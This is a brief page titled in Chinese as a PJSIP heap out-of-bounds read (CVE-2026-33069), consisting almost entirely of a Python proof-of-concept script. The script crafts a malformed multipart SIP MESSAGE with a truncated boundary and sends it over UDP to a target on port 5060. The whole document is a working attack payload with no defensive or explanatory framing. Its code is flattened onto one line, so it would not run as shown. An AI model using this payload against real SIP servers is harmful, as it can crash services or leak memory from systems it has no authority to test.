CVE-2026-33069 PJSIP堆越界读取漏洞

import socket # Target configuration TARGET_IP = "127.0.0.1" TARGET_PORT = 5060 # Malformed SIP MESSAGE to trigger OOB read # The boundary string is crafted to be at the edge of the buffer boundary = "unique-boundary-12345" body_content = "Hello World" # Construct the payload # The vulnerability triggers when parsing the multipart body boundary payload = ( f"MESSAGE sip:test@{TARGET_IP} SIP/2.0\r\n" f"Via: SIP/2.0/UDP 192.168.1.100:5060;branch=z9hG4bK-poc\r\n" f"From: <sip:[email protected]>;tag=poc\r\n" f"To: <sip:test@{TARGET_IP}>\r\n" f"Call-ID: poc-call-id\r\n" f"CSeq: 1 MESSAGE\r\n" f"Content-Type: multipart/mixed; boundary={boundary}\r\n" f"Content-Length: {len(body_content) + len(boundary) + 6}\r\n" f"\r\n" f"--{boundary}\r\n" f"Content-Type: text/plain\r\n" f"\r\n" f"{body_content}\r\n" f"--{boundary}" # Truncated ending to potentially hit buffer edge ) # Send the malicious packet try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(payload.encode('utf-8'), (TARGET_IP, TARGET_PORT)) print(f"[+] PoC packet sent to {TARGET_IP}:{TARGET_PORT}") sock.close() except Exception as e: print(f"[-] Error sending packet: {e}")